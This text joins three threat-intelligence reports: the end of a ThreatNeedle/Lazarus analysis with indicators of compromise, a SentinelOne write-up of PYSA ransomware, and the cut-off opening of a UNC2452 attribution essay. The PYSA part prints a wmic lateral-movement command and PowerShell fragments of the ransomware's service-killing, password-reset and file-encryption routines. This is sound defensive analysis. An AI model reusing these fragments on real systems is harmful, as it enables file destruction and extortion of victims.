Also, if the number of command line parameters is greater than six, the malware jumps into a malicious routine. The malware also checks the length of the second argument – if it’s less than 29 characters, it terminates the execution. When the parameter checking procedure has passed successfully, the malware starts to decrypt its next payload. The embedded payload gets decrypted via XOR, where each byte from the end of the payload gets applied to the preceding byte. Next, the XORed blob receives the second command line argument that’s provided (in this case S0RMM-50QQE-F65DN-DCPYN-5QEQA). The malware can accept more command line arguments, and depending on its number, it runs differently. For example, it can also receive proxy server addresses with the “-p” option.
When the decrypted in-memory payload is executed, it compares the header of the configuration data passed with the string “0x8406” in order to confirm its validity. The payload opens a given file (in this example %APPDATA%\Comms\cab59.tmp) and starts exfiltrating it to the remote server. When the malware uploads data to the C2 server, it uses HTTP POST requests with two parameters named ‘fr’ and ‘fp’:
- The ‘fr’ parameter contains the file name from the command line argument to upload.
- The ‘fp’ parameter contains the base64 encoded size, CRC32 value of content, and file contents.
## Attribution
We have been tracking ThreatNeedle malware for more than two years and are highly confident that this malware cluster is attributed only to the Lazarus group. During this investigation, we were able to find connections to several clusters of the Lazarus group.
### Connection with DeathNote Cluster
During this investigation, we identified several connections with the DeathNote (a.k.a. Operation Dream Job) cluster of the Lazarus group. First of all, among the hosts infected by the ThreatNeedle malware, we discovered one that was also infected with the DeathNote malware, and both threats used the same C2 server URLs. In addition, while analyzing the C2 server used in this attack, we found a custom web shell script that was also discovered on the DeathNote C2 server. We also identified that the server script corresponding to the Trojanized VNC Uploader was found on the DeathNote C2 server. Although DeathNote and this incident show different TTPs, both campaigns share command and control infrastructure and some victimology.
### Connection with Operation AppleJeus
We also found a connection with Operation AppleJeus. As we described, the actor used a homemade tunneling tool in the ThreatNeedle campaign that has a custom encryption routine to create a covert channel. This very same tool was utilized in Operation AppleJeus as well.
### Connection with Bookcode Cluster
In our previous blog about the Lazarus group, we mentioned the Bookcode cluster attributed to the Lazarus group; and recently the Korea Internet and Security Agency (KISA) also published a report about the operation. In the report, they mentioned a malware cluster named LPEClient used for profiling hosts and fetching next stage payloads. While investigating this incident, we also found LPEClient from the host infected with ThreatNeedle. So, we assess that the ThreatNeedle cluster is connected to the Bookcode operation.
## Conclusions
In recent years, the Lazarus group has focused on attacking financial institutions around the world. However, beginning in early 2020, they focused on aggressively attacking the defense industry. While Lazarus has also previously utilized the ThreatNeedle malware used in this attack when targeting cryptocurrency businesses, it is currently being actively used in cyberespionage attacks. This investigation allowed us to create strong ties between multiple campaigns that Lazarus has conducted, reinforcing our attribution. In this campaign, the Lazarus group demonstrated its sophistication level and ability to circumvent the security measures they face during their attacks, such as network segmentation. We assess that Lazarus is a highly prolific group, conducting several campaigns using different strategies. They shared tools and infrastructure among these campaigns to accomplish their goals.
## Appendix I – Indicators of Compromise
**Malicious documents**
- e7aa0237fc3db67a96ebd877806a2c88: Boeing_AERO_GS.docx
**Installer**
- b191cc4d73a247afe0a62a8c38dc9137: %APPDATA%\Microsoft\DRM\logon.bin
- 9e440e231ef2c62c78147169a26a1bd3: C:\ProgramData\ntnser.bin
- b7cc295767c1d8c6c68b1bb6c4b4214f: C:\ProgramData\ntnser.bin
- 0f967343e50500494cf3481ce4de698c: C:\ProgramData\Microsoft\MSDN\msdn.bin
- 09aa1427f26e7dd48955f09a9c604564: %APPDATA%\Microsoft\info.dat
- 07b22533d08f32d48485a521dbc1974d: C:\ProgramData\adobe\load.dat
- 1c5e4d60a1041cf2903817a31c1fa212: C:\ProgramData\Adobe\adobe.tmp
- 4cebc83229a40c25434c51ee3d6be13e: C:\ProgramData\Adobe\up.tmp
- 23b04b18c75aa7d286fea5d28d41a830: %APPDATA%\Microsoft\DRM\logon.dat
- 319ace20f6ffd39b7fff1444f73c9f5d: %APPDATA%\Microsoft\DRM\logon.bin
- 45c0a6e13cad26c69eff59fded88ef36: %APPDATA%\Microsoft\DRM\logon.dat
- 486f25db5ca980ef4a7f6dfbf9e2a1ad: C:\ProgramData\ntusers.dat
- 1333967486d3ab50d768fb745dae9af5: C:\PerfLogs\log.bin
- 07b22533d08f32d48485a521dbc1974d: C:\ProgramData\Adobe\load.dat
- c86d0a2fa9c4ef59aa09e2435b4ab70c: %TEMP%\ETS4659.tmp
- 69d71f06fbfe177fb1a5f57b9c3ae587: %APPDATA%\Microsoft\Windows\shsvcs.db
- 7bad67dcaf269f9ee18869e5ef6b2dc1
- 956e5138940a4f44d1c2c24f122966bd: %APPDATA%\ntuser.bin
**Loader**
- ed627b7bbf7ea78c343e9fb99783c62b
- 1a17609b7df20dcb3bd1b71b7cb3c674: %ALLUSERSPROFILE%\ntuser.bin
- fa9635b479a79a3e3fba3d9e65b842c3
- 3758bda17b20010ff864575b0ccd9e50: %SYSTEMROOT%\system\mraudio.drv
- cbcf15e272c422b029fcf1b82709e333: %SYSTEMROOT%\system\mraudio.drv
- 9cb513684f1024bea912e539e482473a
- 36ab0902797bd18acd6880040369731c: %SYSTEMROOT%\LogonHours.sys
- db35391857bcf7b0fa17dbbed97ad269: %ALLUSERSPROFILE%\Adobe\update.tmp
- be4c927f636d2ae88a1e0786551bf3c4: %ALLUSERSPROFILE%\Adobe\unpack.tmp
- 728948c66582858f6a3d3136c7fbe84a: %APPDATA%\Microsoft\IBM.DAT
- 06af39b9954dfe9ac5e4ec397a3003fb
- 29c5eb3f17273383782c716754a3025a
- 79d58b6e850647024fea1c53e997a3f6
- e604185ee40264da4b7d10fdb6c7ab5e
- 2a73d232334e9956d5b712cc74e01753
- 1a17609b7df20dcb3bd1b71b7cb3c674: %ALLUSERSPROFILE%\ntuser.bin
- 459be1d21a026d5ac3580888c8239b07: %ALLUSERSPROFILE%\ntuser.bin
- 87fb7be83eff9bea0d6cc95d68865564: %SYSTEMROOT%\SysWOW64\wmdmpmsp.sys
- 062a40e74f8033138d19aa94f0d0ed6e: %APPDATA%\microsoft\OutIook.db
- 9b17f0db7aeff5d479eaee8056b9ac09: %TEMP%\ETS4658.tmp, %APPDATA%\Temp\BTM0345.tmp
- 9b17f0db7aeff5d479eaee8056b9ac09: %APPDATA%\Temp\BTM0345.tmp
- 420d91db69b83ac9ca3be23f6b3a620b
- 238e31b562418c236ed1a0445016117c: %APPDATA%\Microsoft\Windows\lconcaches.db, %TEMP%\cache.db
**Registry Loader**
- 16824dfd4a380699f3841a6fa7e52c6d
- aa74ed16b0057b31c835a5ef8a105942
- 85621411e4c80897c588b5df53d26270: %SYSTEMROOT%\system\avimovie.dll
- a611d023dfdd7ca1fab07f976d2b6629: %WINDIR%\winhelp.dll
- 110e1c46fd9a39a1c86292487994e5bd
**Downloader**
- ac86d95e959452d189e30fa6ded05069: %APPDATA%\Microsoft\thumbnails.db
**Trojanized VNC Uploader**
- bea90d0ef40a657cb291d25c4573768d: %ALLUSERSPROFILE%\adobe\arm86.dat
- 254a7a0c1db2bea788ca826f4b5bf51a: %APPDATA%\PBL\user.tmp, %APPDATA%\Comms\Comms.dat
**Tunneling Tool**
- 6f0c7cbd57439e391c93a2101f958ccd: %APPDATA\PBL\update.tmp
**LPEClient**
- 0aceeb2d38fe8b5ef2899dd6b80bfc08: %TEMP%\ETS5659.tmp
- 09580ea6f1fe941f1984b4e1e442e0a5: %TEMP%\ETS4658.tmp
**File path**
- %SYSTEMROOT%\system32\bcdbootinfo.tlp
- %SYSTEMROOT%\system32\Nwsapagent.sys
- %SYSTEMROOT%\system32\SRService.sys
- %SYSTEMROOT%\system32\NWCWorkstation.sys
- %SYSTEMROOT%\system32\WmdmPmSp.sys
- %SYSTEMROOT%\system32\PCAudit.sys
- %SYSTEMROOT%\system32\helpsvc.sys
**Registry Path**
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\GameConfig - Description
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig - SubVersion
**Domains and IPs**
- hxxp://forum.iron-maiden[.]ru/core/cache/index[.]php
- hxxp://www.au-pair[.]org/admin/Newspaper[.]asp
- hxxp://www.au-pair[.]org/admin/login[.]asp
- hxxp://www.colasprint[.]com/_vti_log/upload[.]asp
- hxxp://www.djasw.or[.]kr/sub/popup/images/upfiles[.]asp
- hxxp://www.kwwa[.]org/popup/160307/popup_160308[.]asp
**Second stage C2 address**
- hxxps://www.waterdoblog[.]com/uploads/index[.]asp
- hxxp://www.kbcwainwrightchallenge.org[.]uk/connections/dbconn[.]asp
**C2 URLs to exfiltrate files used by Trojanized VNC Uploader**
- hxxps://prototypetrains[.]com:443/forums/core/cache/index[.]php
- hxxps://newidealupvc[.]com:443/img/prettyPhoto/jquery.max[.]php
- hxxps://mdim.in[.]ua:443/core/cache/index[.]php
- hxxps://forum.snowreport[.]gr:443/cache/template/upload[.]php
- hxxps://www.gonnelli[.]it/uploads/catalogo/thumbs/thumb[.]asp
- hxxps://www.dellarocca[.]net/it/content/img/img[.]asp
- hxxps://www.astedams[.]it/photos/image/image[.]asp
- hxxps://www.geeks-board[.]com/blog/wp-content/uploads/2017/cache[.]php
- hxxps://cloudarray[.]com/images/logo/videos/cache[.]jsp
## Appendix II – MITRE ATT&CK Mapping
| Tactic | Technique | Technique Name |
|------------------------|------------------------------------------------|-------------------------------------------------|
| Initial Access | T1566.002 | Phishing: Spearphishing Link |
| Execution | T1059.003 | Command and Scripting Interpreter: Windows Command Shell |
| | T1204.002 | User Execution: Malicious File |
| | T1569.002 | System Services: Service Execution |
| Persistence | T1543.003 | Create or Modify System Process: Windows Service |
| | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| Privilege Escalation | T1543.003 | Create or Modify System Process: Windows Service |
| Defense Evasion | T1140 | Deobfuscate/Decode Files or Information |
| | T1070.002 | Clear Linux or Mac System Logs |
| | T1070.003 | Clear Command History |
| | T1070.004 | File Deletion |
| | T1036.003 | Masquerading: Rename System Utilities |
| | T1036.004 | Masquerade: Task or Service |
| | T1112 | Modify Registry |
| Credential Access | T1557.001 | LLMNR/NBT-NS Poisoning and SMB Relay |
| Discovery | T1135 | Network Share Discovery |
| | T1057 | Process Discovery |
| | T1016 | System Network Configuration Discovery |
| | T1033 | System Owner/User Discovery |
| | T1049 | System Network Connections Discovery |
| | T1082 | System Information Discovery |
| | T1083 | File and Directory Discovery |
| | T1007 | System Service Discovery |
| Lateral Movement | T1021.002 | SMB/Windows Admin Shares |
| Collection | T1560.001 | Archive Collected Data: Archive via Utility |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols |
| | T1132.002 | Non-Standard Encoding |
| | T1104 | Multi-Stage Channels |
| | T1572 | Protocol Tunneling |
| | T1090.001 | Internal Proxy |
| Exfiltration | T1041 | Exfiltration Over C2 Channel |
Kaspersky Industrial Control Systems Cyber Emergency Response Team (Kaspersky ICS CERT) is a global project of Kaspersky aimed at coordinating the efforts of automation system vendors, industrial facility owners and operators, and IT security researchers to protect industrial enterprises from cyberattacks. Kaspersky ICS CERT devotes its efforts primarily to identifying potential and existing threats that target industrial automation systems and the industrial internet of things.
For more information please contact: [email protected].
|
# From the Front Lines | Peering into A PYSA Ransomware Attack
**April 18, 2022**
By James Haughom and Niranjan Jayanand
## Introduction
PYSA (Protect Your System Amigo, aka Mespinoza) has been impacting high-value targets since early 2020, with a proclivity towards targeting educational and medical entities during the global pandemic. In March 2021, a FBI FLASH alert was issued concerning the noticeable increase in PYSA campaigns, particularly those against healthcare and educational targets. SentinelOne’s DFIR engagement team encountered two particular PYSA ransomware campaigns that displayed some interesting tactics that may be of interest to security teams and analysts. In this post, we give a brief overview of PYSA and document the tactics we observed.
## Overview
PYSA’s tactics are similar to other ransomware contemporaries. The group embraces the multipronged extortion model, hosting a long-standing blog of victim names and data, although as of early April 2022, the PYSA victim blog has been offline. Once a target has been breached, the attackers discover and exfiltrate sensitive and critical data, encrypt victim files, and demand a ransom.
PYSA’s primary methods of initial access and delivery have centered around RDP (Remote Desktop Protocol) exploits as well as phishing emails. Even with phishing as a first stage, the goal is to extract RDP credentials to make entry via their preferred method. The group relies heavily on LOLBINs and COTS tools, avoiding the use of malware other than for encryption. Tools such as Cobalt Strike, Empire, WinSCP, Advanced IP Scanner, and Advanced Port Scanner (and their forks) are often observed in active PYSA engagements. The group has also adopted additional tools like Chisel. Cloud storage services (e.g., mega.nz) are often utilized for data exfiltration, detection of which is many victims’ first indication of infection.
Over the last two years, PYSA has successfully compromised an increasing number of organizations. PYSA targets a number of sectors aside from healthcare and education, including Government, Food & Agriculture, Real Estate, Engineering, Utilities, and others.
## Technical Details
The ransomware observed by our team was deployed via a batch script which then called `psexec.exe` to start a Windows PowerShell script located at `\\$<hostname>\share$\p.ps1`. There were multiple batch scripts in the target directory for multiple deployment methods, e.g., `psexec0.bat`, `psexec1.bat`, `wmi0.bat`, `wmi1.bat`. The `*0.bat` variant calls the PowerShell-based ransomware directly from the network share; the `*1.bat` variant is designed to copy a `services.exe` file from that directory to the system Temp directory, and `*2.bat` file calls that executable on the victim machine. The latter two files are a backup plan in case the initial PowerShell ransomware is unsuccessful; however, due to the lack of the `services.exe` file existing in the environment, it appears this went unused.
Attackers were seen password spraying to gain RDP access to both virtual machines and workstations. They also targeted domain controllers and exchange servers heavily, planning to maximize business disruption. During our investigation of the attack stages, we also identified the attacker using `psexec` for lateral movement and the final ransomware payload encrypted and renamed files with either a `.pysa` extension or another four-character extension.
The table below summarizes the different tools and techniques used by the PYSA ransomware group at different stages of the kill chain.
| TECHNIQUES | TOOLS |
|------------------|---------------------------|
| Evasion | PowerShell, Batch |
| Cred Access | PowerShell, Empire, Koadic, Mimikatz |
| Discovery | IP Scanner, Port Scanner, PowerShell |
| Persistence | Chisel, Cobalt Strike |
| Lat Movement | PsExec, RDP, Batch Script |
| Backdoor | Chisel |
| Exfiltration | MEGASync, WinSCP |
Below are some script files identified on multiple endpoints that attackers used for their lateral movement.
| File Name | Type | File Size |
|------------|--------------------------|-----------|
| p | Windows Powershell script | 5 KB |
| psexec0 | Windows BatchFile | 810 KB |
| psexec1 | Windows BatchFile | 736 KB |
| psexec2 | Windows BatchFile | 585 KB |
| wmi2 | Windows BatchFile | 636 KB |
| wmi2(1) | Windows BatchFile | 636 KB |
`wmi2` and `wmi2(1)` use stolen Domain Administrator credentials to deploy the ransomware en masse across the environment. In our example, the filename used for the deployed payloads was `svchost.exe`. The two `wmi*.bat` files dropped by the attacker have numerous lines to laterally move and execute an executable by the name `svchost.exe` from the Temp folder.
```powershell
wmic /node:"<REDACTED>" /user:"<<REDACTED>>" /password:"<<REDACTED>>" process call create "cmd /c c:\windows\temp\svchost.exe"
```
This executable is a Chisel Tunneling tool programmed in Go. PYSA threat actors have been consistent with using Chisel for tunneling, and the same file name and folder path occur in their earlier attacks as well. The scripts above were used for various system information discovery tasks, as well as establishing the Cobalt Strike beacon, and ultimately the PowerShell-based execution of the ransomware itself.
The `p.ps1` script above is used to kill or terminate services which may interfere with the encryption process. It also attempts to identify specific anti-virus applications. The `s()` function will kill services by name, which is passed as an argument to the function. This is typical pre-ransomware deployment behavior to ensure that handles to critical assets (files/DBs) are forcibly closed, allowing the ransomware to obtain a handle and encrypt them.
```powershell
function s($s) {
Get-Service | Where-Object {$_.DisplayName -like "*$s*"} | Stop-Service -Force
Get-Service | Where-Object {$_.DisplayName -like "*$s*"} | Set-Service -StartupType Disabled
}
```
**Services terminated:**
- SQL
- Oracle
- Citrix
- Exchange
- Veeam
- Malwarebytes
- Sharepoint
- Quest
- Backup
The function `p()` is used to terminate processes by name using the WMIC utility. The name of the process to be terminated is passed as an argument to the function. The following processes are killed by the malware.
```powershell
function p($p) {
wmic process where "name like '%$p%'" delete
}
```
The script also tags affected systems with a text file, writing the content “I’ll be back”. This text file is written to `C:\log\<computer name>.txt`.
```powershell
New-Item -Path "\\<<computer name>>\log$" -Name "$name.txt" -ItemType "file" -Value "I'll be back.";
```
Finally, the malware changes the password of all local users to the value of the first 13 characters of the MD5 hash of the username with the string “ololo” appended. For example, the password for the username “admin” will be set to the first 13 characters of the MD5 hash of the string “adminololo”.
```powershell
foreach ($user in $localusers) {
$myUser = "$($user)ololo"
$hash = Get-StringHash $myUser
$pass = $hash.substring(0, 13)
([adsi]"WinNT://$env:COMPUTERNAME/$user").SetPassword("$pass");
}
```
## Use Of Chisel Tunneling Tool
During the course of our investigation, we encountered three different Chisel samples in total, all of which were DLLs, programmed in Go. Chisel is a cross-platform traffic tunneling tool, utilized by multiple threat actors. The release version of Chisel consists of a single binary that covers both client and server functionality. The DLLs are wrappers to leverage the project’s client-side code. These DLLs function to decrypt the client configuration’s fields (IP, port, …), create a new instance of the Chisel client, and then invoke the client.
### Packages & Dependencies for Chisel tool
The DLL’s original filename was `magic.dll`, with the main payload being stored in the “Debug” export. Strings are individually XOR decrypted at runtime, including the C2 URL. This URL is then passed to the `magicSocks` function.
## Encryption Details (via PowerShell)
Beyond the use of Chisel, there are some interesting highlights within the execution of PYSA. The `p.ps1` script is used to prepare the environment, as well as execute the actual ransomware with the desired configuration. The ransomware enumerates drives to encrypt via WMI, targeting only “fixed” drives.
```powershell
[array]$target_drives = get-wmiobject win32_volume | ? { $_.DriveType -eq 3 } | % {
get-psdrive $_.DriveLetter[0] } | % { $_.Root };
```
A pool of workers is used to speed up the encryption process by running jobs in parallel. These jobs are limited to 20 running at a time.
```powershell
while ($running_jobs.Count -gt $max_workers) {
Start-Sleep -Seconds 5;
[array]$running_jobs = $worker_jobs | Where { $_.State -eq "Running" };
}
```
Target directories are enumerated on each fixed drive, skipping critical folders to avoid rendering the victim’s system inoperable. Directories in the root folder of the drive matching the following criteria are skipped (“*” is used as a wildcard):
- *Windows*
- *Program Files*
- *ProgramData*
```powershell
Get-ChildItem "$( $disk )*" -Recurse -Force -Exclude "*Windows*", "*Program Files*", "*ProgramData*" | ? { $_.PSIsContainer } | Where-Object { ($_.FullName -notlike "*Windows*") -and ($_.FullName -notlike "*Program Files*") -and ($_.FullName -notlike "*ProgramData*") } | % { Show(@{ name = $_.FullName; ring = $SKbMxF }) };
```
The ransomware includes one exception to the “*Program Files*” directory, targeting folders within the “C:\Program Files\*SQL*” directory. This is to ensure that SQL databases and other high-value SQL-related files are encrypted.
```powershell
Get-ChildItem "C:\Program Files*" -Force -Recurse -Include "*SQL*" | Where { $_.PSIsContainer } |% { SubSqlItems($_.FullName) };
```
Once target folders have been enumerated, they are passed to a worker as a job. Each job executes a ScriptBlock that expects two arguments. The first argument is a base64 string of directories to encrypt, delimited by a “|”.
```powershell
$DVXJwpT = $args[0];
$include_zip = $args[1];
$JLzbvlx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($DVXJwpT)
[array]$target_dirs = $JLzbvlx.split("|");
```
The second argument is an option to have the ransomware run in a specific mode to target zip files for encryption, which requires the value “1”.
```powershell
if ($include_zip -eq 1) {
[array]$target_files = Get-ChildItem $qlsL -Force -Include "*.zip" | Where { !$_PSIsContainer } | Where { $_ };
}
```
If this option is not enabled, then the ransomware will iterate through the target directories excluding the following file extensions from the encryption process.
- .ax
- .dll
- .exe
- .inc
- .lnk
- .msi
- .ps1
- .README
- .search-ms
- .sys
- .tlb
- .zip
```powershell
[array]$target_files = Get-ChildItem $qlsL -Force -Exclude "*.zip", "*.inc", "*.ax", "*.tlb", "*.msi", "*.lnk", "*.dll", "*.exe", "*.README", "*.redacted", "*.search-ms", "*.ps1", "*.sys" | Where { !$_.PSIsContainer } | Where { $_ };
```
Once this list of files is generated, each file path is passed to the `crypt()` function to perform the encryption.
```powershell
foreach ($target_file in $target_files_list) {
crypt($target_file.FullName);
}
```
Within the `crypt()` function, a random 32-byte AES key is generated for each individual target file. Along with the key, a random 16-byte initialization vector (IV) is generated using the `RNGCryptoServiceProvider` class.
```powershell
$rng_crypto_service_provider = New-Object System.Security.Cryptography.RNGCryptoServiceProvider;
$aes_key = New-Object byte[] 32;
$rng_crypto_service_provider.GetBytes($aes_key);
$init_vec = New-Object byte[] 16;
$rng_crypto_service_provider.GetBytes($init_vec);
```
The AES service provider is then instantiated, setting the key and IV to the randomly generated values mentioned previously.
```powershell
$aes_crypto_service_provider = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
$aes_crypto_service_provider.Key = $aes_key;
$aes_crypto_service_provider.IV = $init_vec;
$aes_crypto_service_provider.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;
```
The RSA service provider is then instantiated using a hardcoded RSA XML string.
```powershell
$encryptor = $aes_crypto_service_provider.CreateEncryptor();
$rsa_crypto_service_provider = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 4096;
$rsa_crypto_service_provider.PersistKeyInCsp = $false;
$rsa_crypto_service_provider.FromXmlString($rsa_key_string);
$rsa_key_string = "sLdwS+FAAou46fSHkm/5NzsuRy5l5Iqf/+Jy/ZLCbPmrKVvhre0R1no1[...]"
```
The AES key and IV are both then encrypted with the RSA key.
```powershell
$qGOTKey = $rsa_crypto_service_provider.Encrypt($aes_key, $false);
$Dbw = $rsa_crypto_service_provider.Encrypt($init_vec, $false);
```
The ransomware then proceeds to encrypt the contents of the file starting at the offset 1671.
```powershell
$PBz = 1671;
$file_stream.Seek($PBz, [System.IO.SeekOrigin]::Begin);
[long]$iGzfUwq = $file_stream.Read($mctMK, 0, $mctMKSize);
$qGOT = $encryptor.TransformFinalBlock($mctMK, 0, $iGzfUwq);
$file_stream.Seek($PBz, [System.IO.SeekOrigin]::Begin);
$file_stream.Write($qGOT, 0, $iGzfUwq);
```
Approximately 10% of each file is encrypted, calculated using the following logic.
```powershell
[long]$mctMKSize = $MZKSize / 10;
if ($mctMKSize -gt 6225920) {
$mctMKSize = 6225920;
} else {
$SZdRf = [math]::floor($mctMKSize / 1024);
if ($SZdRf -eq 0) {
$SZdRf = 1;
}
$mctMKSize = 1024 * $SZdRf;
}
```
The encrypted AES key and IV are both written to the end of the newly encrypted file, and the file name is appended with the custom extension chosen by the attacker.
```powershell
$file_stream.Seek(0, [System.IO.SeekOrigin]::End);
$file_stream.Write($qGOTKey, 0, $qGOTKey.Length);
$file_stream.Write($Dbw, 0, $Dbw.Length);
$file_stream.Close();
Rename-Item -Path $file_to_encrypt -NewName "$( $file_to_encrypt ).redacted";
```
## Protecting Against PYSA Ransomware
SentinelOne customers are fully protected against PYSA ransomware.
## Conclusion
PYSA has outlasted some of its contemporaries through careful choice of targets as well as affiliates. Although the group’s TTPs cannot be described as technically advanced, the use of the Chisel tunneling tool and preparation of the target environment via PowerShell scripts is sufficiently novel to be worth documenting. We hope that providing visibility into all the various steps in the attack chain will be helpful for defenders and threat hunters to identify, detect, and prevent such attacks.
## Indicators of Compromise
**SHA1**
- 6b6855931e69d27f5f2e2d828fbeb4db91688996
- 6aa7b2744a7e3975f0dff3672ec633b687ef5fbd
- 598da6d3ac08e21c39807fffabd2f597edb4cbb8
- 9200e264a9916534798d79a9aab69359f65e5fc7
- 11e399bed1a2e4ac51dfbae16a21f1adaff7c95f
- ef14422bf5d013878cd12abf44a7720b92d1750c
- 8e6c7618699ac39393aa01fd99848f868c0921f2
- 407933cdb8ba12cf61606803be354b87f2674321
- d02608e1771af7c19413ecf504e2df2989f25da3
- 69dab8db13bbe0b9ddac7aeeb52fde3928030e43
- 44013f5f6f5c88482441f1fa673e1ada7d6e845f
- a80b1f9f44156bc876b9f1e641745af1a5a77be2
- b435fedf7e40e3ef24dba050102d63e2d5aa2e1e
- 94a351849632c435f6809eda080f52e6d0ad1195
- f7d7567d1721478eee276001aeeba44473a713ef
- 6f5f822260e4deaa859f3f17e81d9349950d9e34
- 51cbc9455b7781cf0529f299631e59016fe52e95
- 8ec2266a0e4c807973a27bc9cf5b10b4d11f6c5c
- 52b2fc13ec0dbf8a0250c066cd3486b635a27827
- 425209b891142704462baf14048d0dd59d0c7561
**SHA256**
- e9662b468135f758a9487a1be50159ef57f3050b753de2915763b4ed78839ead
- 44f1def68aef34687bfacf3668e56873f9d603fc6741d5da1209cc55bdc6f1f9
- 0433efd9ba06378eb6eae864c85aafc8b6de79ef6512345294e9e379cc054c3d
- 164cb8e82d7e07cca0409925cadd8be5e3e8e07db88526ff7fe87596c6a6bd07
- 7c774062bc55e2d0e869d5d69820aa6e3b759454dbc926475b4db6f7f2b6cb14
- 58ebe9b1c926c87dc1e9d924942504a56456007bff8de4932ef18e476da700c2
- 6f3cd5f05ab4f404c78bab92f705c91d967b31a9b06017d910af312fa87ae3d6
- 1e39243c218056dbe72b6b889f2245b3d0f49f29952950d4b83581263c09c1ae
- fb31b023d2545563862c9c314d91770fcec7bb7a4b13abfdb5244266a67446a3
- 153222163442b304f5cee295268115c9cfdf0f1168f49f9e3fae52340eee51ec
- d1b6ee9b716fe48e51ac4e6bec691366bb08d507773d61a5d14fb15ec5e25e2b
- 6f4338a7a3ef8e491279ae81543a08554cad15d1bce6007047bc4449d945b799
- 051fb654403340420102430f807ea41ab790666488d897dc5b0008e99fed47d6
- 75c8e93ffcfd84f0d3444c0b9fc8c9a462f91540c8760025c393a749d198d9db
- 7fd3000a3afbf077589c300f90b59864ec1fb716feba8e288ed87291c8fdf7c3
- 931772ac59f5859e053589202c8db81edc01911391fe5b32c9abb5bbc2b06e43
- af99b482eb0b3ff976fa719bf0079da15f62a6c203911655ed93e52ae05c4ac8
- 90cf35560032c380ddaaa05d9ed6baacbc7526a94a992a07fd02f92f371a8e92
- 4770a0447ebc83a36e590da8d01ff4a418d58221f1f44d21f433aaf18fad5a99
- e4287e9708a73ce6a9b7a3e7c72462b01f7cc3c595d972cf2984185ac1a3a4a8
## MITRE ATT&CK
- T1027.002 – Obfuscated Files or Information: Software Packing
- T1007 – System Service Discovery
- T1059 – Command and Scripting Interpreter
- TA0010 – Exfiltration
- T1082 – System Information Discovery
- T1490 – Inhibit System Recovery
- T1048.003 – Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol
- T1567.002 – Exfiltration Over Web Service: Exfiltration to Cloud Storage
- S0583 – PYSA
- S0154 – Cobalt Strike
- T1110 – Brute Force
- T1562 – Impair Defenses: Disable or Modify Tools
- T1070.004 – Indicator Removal on Host: File Deletion
- T1036 – Masquerading: Match Legitimate Name or Location
- T1112 – Modify Registry
- T1046 – Network Service Scanning
- T1003.001 – OS Credential Dumping: LSASS Memory
- T1021.001 – Remote Service: Remote Desktop Protocol
- T1489 – Service Stop
- T1016 – System Network Configuration Discovery
- T1569.002 – System Services: Service Execution
- T1552.001 – Unsecured Credentials: Credentials in Files
|
# Point of View
## By John Wetzel
### Are We Getting Ahead of Ourselves? An Analysis of UNC2452 Attribution
**Note:** A previous version of this report incorrectly attributed disclosure of Jake Williams’ work for the National Security Agency’s Tailored Access Operations group to Sandworm. This disclosure was conducted by ShadowBrokers.
### Overview
The recent expansive intrusion campaign of over half a dozen government agencies and as-yet unknown other organizations through malicious backdoors in the SolarWinds Orion platform is already one of the most significant acts of cyber espionage in history. This intrusion, dubbed SUNBURST/Solorigate, appears intended for information theft and espionage rather than destruction, placing this campaign within the realm of counterintelligence, not just incident response. Analyzing this incident within the realm of counterintelligence may fill the gap of descriptive language for this incident rather than bipolar descriptions of “sophisticated” or in-depth analysis which may add to confusion for network defenders. Additionally, only a handful of companies have direct access and the investigative resources to gain meaningful insights into the technical components of the backdoor. The actor is a different story.
Like most complex, public intrusions, attribution has been messy. FireEye has named the actor behind this intrusion “UNC2452,” and Volexity dubbed the threat actor “Dark Halo,” stating that the actor is the same as UNC2452, though FireEye has not substantiated that claim. Adding further complexity, Washington Post correspondent Ellen Nakashima cited unnamed government sources claiming Russian actors, in particular APT29, are responsible for the attack. Members of the U.S. Congress have also publicly accused Russia, and in particular the Russian Foreign Intelligence Service (SVR), as the responsible party, and added calls for response. Microsoft President Brad Smith has also called for strong action. While we expect these organizations have far more insight into the nature of the breach, as well as classified sources of intelligence information, calls for strong response should include publicly disclosed information to support accusations.
Public evidence for these claims is currently scant. Some, including Jake Williams, who runs Rendition Security and teaches for the SANS Institute, has said that technical evidence is forthcoming, but cannot be disclosed without tipping off the adversaries to missteps and giving them a means to cover their tracks. Still, the lack of public evidence gives rise to claims that other actors, even perhaps other countries, may be responsible, a claim made by President Donald Trump as well.
Intelligence analysis, properly conducted, combats bias. Bias can lead to missteps in policy. Engaging in policy discussions about proportional responses (or, at times, very disproportionate response) without strong evidence is potentially dangerous. As rumors of attribution to Russia circulate, attribution prior to evidence is premature and myopic, biasing the analyst to only certain behaviors and actors. Further, intelligence analysis provides both strategic and tactical guidance for responses. At the strategic level, we can be assured that responses are coordinated and proportional. At the tactical level, defenders can apply intelligence to seed proactive activities, such as hunting for behaviors after indicators run dry.
Among information security researchers, some discussion has occurred regarding the possibility alternate actors, such as APT41, may ultimately be found responsible. APT41, also known as Winnti and Barium, has been linked to the People’s Republic of China, and previously conducted attacks which beg comparison with the SUNBURST/Solorigate attack. (Note: Recorded Future has synonymized several named groups, including APT41, Axiom Hacking Group, Barium, Blackfly, Dogfish, Ragebeast, Wicked Panda, Winnti Group, as Winnti Umbrella Group.) In March 2017, APT41 executed a supply chain attack by breaching the company which made CCleaner, a system cleaner software. Researchers from Cisco Talos and Morphisec uncovered the campaign, which ultimately spread to 2.27 million computers. While these comparisons fall well short of the requirements for attribution, APT41 does merit consideration as a candidate actor group responsible for the SUNBURST/Solorigate breach. Enter threat intelligence.
### Noteworthy Techniques
We approached our analysis using existing techniques in order to focus on attribution and adversary mapping. We pursued methodologies including mapping MITRE ATT&CK techniques, victimology, temporal indications, and historic use of indicators to give insight into attacker motivation and intent. We analyzed both public information as well as information from Recorded Future’s historic index to determine a set of unique characteristics about this campaign. Our goal was not to conclusively attribute this attack, but rather to review existing data through the lens of intelligence analysis and contribute to conversation on adversary tracking.
### ATT&CK Technique Analysis
